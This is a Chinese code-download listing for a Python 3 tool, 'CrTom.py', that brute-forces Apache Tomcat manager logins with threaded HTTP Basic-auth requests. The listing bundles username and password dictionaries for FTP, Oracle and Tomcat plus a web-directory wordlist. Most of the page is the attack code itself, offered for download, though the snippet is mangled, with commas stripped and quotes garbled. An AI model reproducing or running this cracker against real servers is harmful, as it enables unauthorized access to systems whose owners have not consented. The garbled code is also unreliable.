-
大小: 18KB文件类型: .rar金币: 1下载: 0 次发布日期: 2021-05-29
- 语言: Python
- 标签: 000python3
资源简介
python3 http.client库实现的登录验证密码程序。
内含多个密码文件。
for server in ip:
print( "[+] Server:",server)
print ("[+] Port:",port)
print ("[+] Users Loaded:",len(WEAK_USERNAME))
print( "[+] Words Loaded:",len(WEAK_PASSWORD))
print ("[+] Started",timer(),"\n")
for I in range(len(accounts)):
work = Tomcatbrute(server,port,path,accounts[I][0],accounts[I][1])
work.setDaemon(1)
work.start()
time.sleep(0.1)
print( "\n[-] Done -",timer(),"\n" )
代码片段和文件信息
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Functions: Idenfy tomcat password
# Code By BlAck.Eagle
import threading time random sys http.client base64
from copy import copy
import re
from collections import defaultdict deque
class Tomcatbrute(threading.Thread):
def __init__(selfserverportpathuserpassword):
threading.Thread.__init__(self)
self.host = str(server)
self.port = str(port)
self.path = str(path)
self.user = str(user)
self.password = str(password)
self.userAgent = “Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0“
def writeresult(selfrecord):
fp = open(‘Result.html‘‘a+‘)
fp.writelines(record+‘‘)
fp.close()
def run(self):
#union = self.user+‘:‘+self.password
usp=(‘%s:%s‘ % (self.user self.password)).replace(‘\n‘ ‘‘)
auth = base64.b64encode(bytes( usp‘utf-8‘))
#flag = Verificate.HttpRequest().verificate(self.hostself.portself.path)
#if (flag):
#print ‘This is a Tomcat!‘
#print base64.b64encode(union)
print(self.getName() “-- created.“ )
# try:
h = http.client.HTTPConnection(self.hostself.port)
h.putrequest(‘GET‘ self.path)
h.putheader(‘Host‘ self.host+‘:‘+self.port)
h.putheader(‘User-agent‘ self.userAgent)
h.putheader(‘Accept‘ ‘text/htmlapplication/xhtml+xmlapplication/xml;q=0.9*/*;q=0.8‘)
h.putheader(‘Accept-Language‘‘en-us‘)
h.putheader(‘Accept-Encoding‘‘gzip deflate‘)
#h.putheader(‘Authorization‘ ‘Basic %s‘ % base64.b64encode(union))
h.putheader(‘Authorization‘ ‘Basic %s‘ %auth.decode() )
#print auth
h.endheaders()
res = h.getresponse()
#print “Response: “ statuscode statusmessage
#print “Headers: “ headers
#print data
#print headers[‘Authorization‘]
#print response.read()
#print response.status
#print statuscode
# print (res ) # (headers[‘Server‘])
headers=res.headers
# print (headers[‘Server‘])
if (re.findall(r‘Coyote‘headers[‘Server‘])):
if res.getcode()==200:
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 5828 2017-09-16 11:11 crack\CrTom.py
文件 5827 2017-09-16 11:08 crack\CrTom.py.bak
文件 810 2010-09-11 14:47 crack\ftp字典.txt
文件 1794 2010-07-06 16:56 crack\oracle字典 .txt
文件 508 2017-09-16 06:59 crack\tomcat.txt
文件 568 2010-08-25 08:56 crack\tomcat.txt.bak
文件 423 2009-11-25 12:09 crack\user.txt
文件 59617 2010-07-27 10:11 crack\web_目录.txt
目录 0 2017-09-16 06:59 crack
----------- --------- ---------- ----- ----
75375 9
评论
共有 条评论